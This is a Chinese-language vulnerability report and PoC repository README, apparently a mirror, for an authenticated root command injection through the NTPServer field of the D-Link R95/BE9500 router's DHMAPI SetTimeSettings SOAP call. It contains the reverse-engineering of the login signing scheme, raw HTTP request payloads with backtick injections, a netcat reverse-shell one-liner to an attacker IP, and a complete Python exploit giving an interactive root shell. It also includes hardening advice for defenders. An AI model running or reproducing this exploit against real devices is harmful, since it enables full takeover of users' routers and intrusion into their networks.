针对 D-Link R95/BE9500 DHMAPI SetTimeSettings 的认证命令注入 PoC,通过 NTPServer 反引号注入实现 root RCE,并附带完整利用脚本。
D-Link R95 BE9500 Wi-Fi 7 智能路由器(固件版本 BE9500_1.00.16)在 DHMAPI(基于 HTTPS 的 SOAP)接口处理 SetTimeSettings 请求时存在命令注入漏洞。用户可控的 <NTPServer> 字段在未对 shell 元字符进行任何净化或校验的情况下被存入配置数据库。随后,当配置同步到 UCI(ntpclient.@ntpserver[0].hostname)时,存在漏洞的后端服务会构造一条用双引号包裹的 shell 命令,并通过类似 system() 的调用执行。通过在 <NTPServer> 值中注入反引号(```),攻击者可以实现命令替换——shell 会在执行拼接后的命令之前先对注入的内容求值,从而以 root(uid=0) 权限执行任意命令。
该攻击需要有效的 Web 管理会话(sid),该会话通过认证访问获得(使用管理员账号 Admin 测试)。该漏洞因设备存在弱默认凭据或潜在的身份认证绕过问题而被进一步放大,显著扩大了现实世界的攻击面。
认证后的攻击者可以 root 权限执行任意命令,导致设备被完全攻陷——包括读取敏感文件(例如 /etc/rg_config/admin 密文、导出完整配置备份)、安装持久化后门、建立反向 shell,以及以设备为跳板进入内网进行横向移动攻击。
该漏洞存在于 Web 管理后端二进制文件 /bin/ssi(以 root 运行)中,该文件实现了 DHMAPI SOAP 接口。
污点源——SetTimeSettings 处理函数(位于 ssi 中偏移 0x6bd84 处的函数,固件 1.01B06):
<NTPServer> 字段到栈缓冲区,长度上限为 0x3f(63 字节)——这是缓冲区大小限制,并非安全检查。time.value.NTPServer——在任何环节都未对 shell 元字符进行过滤或转义。污点汇聚点——配置同步到 UCI。ssi 通过将配置值拼接进 shell 命令字符串并经由类似 system() 的调用执行来同步配置。二进制文件中发现的嵌入格式字符串包括:
uci set %s="%s" > /dev/null
由于该值被包裹在双引号中,shell 会在运行拼接后的命令之前对值中的反引号(`)/ $() 执行命令替换。由于 ssi 以 root 运行,注入的命令会以 root 权限执行。
时序证据证实求值同步发生在请求处理路径内部:注入 `sleep 10` 会使 HTTP 响应延迟约 10 秒。被污染的值还会持久化到 UCI(ntpclient.@ntpserver[0].hostname),随后被 /bin/start_ntpclient.sh(ntpclient -s -h $HOSTNAME)以未加引号的方式使用,这是第二个加固缺口。
利用约束(已验证):
所有 DHMAPI 请求必须携带:
Cookie: uid=<session cookie>(来自登录)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction 头,以及 User-Agent 和 Referer(缺少 UA/Referer 会返回 HTTP 400/500)ts 是毫秒时间戳;设备不校验新鲜度,因此固定值可重复使用privkey 推导:
Login / Action=request(使用静态密钥字符串 withoutloginkey 签名)返回 Challenge、Cookie、PublicKey、SaltHashe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32))(当 SaltHash 缺失时使用明文密码)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login 返回 <LoginResult>success</LoginResult>;后续请求使用 Cookie: uid=<step-1 Cookie> 并以 签名POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
预期:<LoginResult>success</LoginResult>。

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
观察到的响应体:
uid=0(root) gid=0(root)

<NTPServer>`sleep 10`</NTPServer>
HTTP 响应延迟约 10 秒;而正常的 NTP 服务器名称会立即返回。
通过以 base64 分片写入脚本可绕过 63 字节字段限制:
SetTimeSettings 请求,每次追加一个分片:
`echo -n <b64-fragment> >> /tmp/x``base64 -d /tmp/x > /tmp/rs.rs`/tmp/rs.rs 内容(注意 busybox ash 中管道两侧必须有空格):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f`sh /tmp/rs.rs`结果:在攻击者的监听端收到一个交互式 root shell(~ #,BusyBox ash)。
EXP:
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py interactive shell (commands run as root on the device)
# python r95_exp.py "id" run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests
HOST, PORT = "192.168.2.15", 18443 # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000" # timestamp freshness is not validated by the device
OUT = "/www/e" # command output dropped into the web root
s = requests.Session(); s.verify = False
privkey = cookie = None
def auth(key, action):
return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS
def post(action, inner, key=None, ck=None):
body = ('<?xml version="1.0" encoding="utf-8"?>'
'<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
'<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
"Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}
if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)
def login():
global privkey, cookie
r = post("Login", "<Action>request</Action><Username>%s</Username>"
"<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
if not challenge:
print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
e = PASSWORD
if salthash:
e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
salthash.encode(), 5000, dklen=32)).decode()
privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
"<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
if "success" not in r2.text.lower():
print("[!] login failed:", r2.text[:200]); sys.exit(1)
print("[+] login OK, cookie=%s" % cookie)
def inject(cmd):
"""Execute one shell command via the NTPServer backtick injection (no output channel)"""
if "&" in cmd:
print("[!] command must not contain '&'"); return False
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
if r.status_code == 401:
print("[*] session expired, re-authenticating..."); login()
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
return r.status_code == 200
def run(cmd):
"""Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
cmd = cmd.strip()
if not cmd: return
direct = "%s>%s" % (cmd, OUT)
if len(direct) <= 54:
ok = inject(direct)
else:
b64 = base64.b64encode(cmd.encode()).decode()
inject("rm -f /tmp/x")
for i in range(0, len(b64), 40):
if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
print("[!] fragment injection failed"); return
inject("base64 -d /tmp/x>/tmp/x.sh")
ok = inject("sh /tmp/x.sh>%s" % OUT)
if not ok:
print("[!] injection request failed"); return
time.sleep(1)
r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}, timeout=15)
out = r.text.rstrip("\n")
print(out if out else "(no output)")
if __name__ == "__main__":
login()
if len(sys.argv) > 1:
run(" ".join(sys.argv[1:])); sys.exit(0)
print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
while True:
try: c = input("r95# ")
except (EOFError, KeyboardInterrupt): break
if c.strip() in ("exit", "quit"): break
run(c)

ssi 将 NTPServer 字段(以及同一处理函数中的同类字段)在零净化的情况下存入配置数据库;system() 风格的 shell 字符串拼接,且值被双引号包裹,导致 shell 对值中的反引号 / $() 求值;ssi 以 root 运行,因此注入的命令以最高权限执行。相同的代码模式在该固件中至少还产生了 7 个额外的认证后命令注入点(TZLocation、DeviceName、DDNS Hostname/Username、客户端 NickName,以及通过 SetNetworkSettings 的二阶注入),均已通过 uid=0(root) 执行验证。
[A-Za-z0-9.-]);ssi)或不带 shell 的 exec* 系列调用替换 system() 字符串拼接;/bin/start_ntpclient.sh 中为 $HOSTNAME 变量加引号;本仓库为 CVE-2026-93958(D-Link R95 / BE9500 DHMAPI 命令注入) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 D-Link R95 BE9500.md)。内容由上游公开 PoC 仓库镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
SetTimeSettings 请求的 <NTPServer> 字段/bin/ssi核心原理:/bin/ssi 的 SetTimeSettings 处理函数(偏移 0x6bd84)把 <NTPServer> 字段(长度上限 0x3f=63 字节,但无任何 shell 元字符过滤)原样存入配置库;配置同步到 UCI 时,ssi 把值拼进 uci set %s="%s" > /dev/null 这类 shell 字符串并用 system() 执行——值被双引号包裹,shell 会对反引号 / $() 做命令替换,而 ssi 以 root 运行,故注入命令满权限执行。
D-Link R95 BE9500.md —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png —— 上游报告附图(5 张)
requestspython r95_exp.py # 交互式 root shell(命令在设备上以 root 执行)
python r95_exp.py "id" # 执行单条命令
⚠️ 注意:注入字段长度上限约 63 字节,且命令不能含
&;EXP 对 ≤54 字节命令直接注入,更长的命令自动切 base64 分片写入/tmp/x再解码执行,输出写入 Web 根目录/www/e后经 HTTP 取回。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限在设备上执行任意命令,请在可销毁的实验室环境中测试。
LICENSE)。| 约束 | 验证结果 |
|---|
| 字段长度 | 接受 ≤ 63 字节;60 字节通过,80 字节被拒绝(HTTP 400) |
& 字符 | 不得出现(会破坏拼接后的命令行) |
| 注入语法 | 反引号 `cmd` 已验证;$(cmd) 预期同样有效 |
| 执行上下文 | uid=0(root) gid=0(root) |
| 输出通道 | 无直接回显;重定向到 Web 根目录(> /www/<file>)并通过 HTTP GET 取回 |
privkey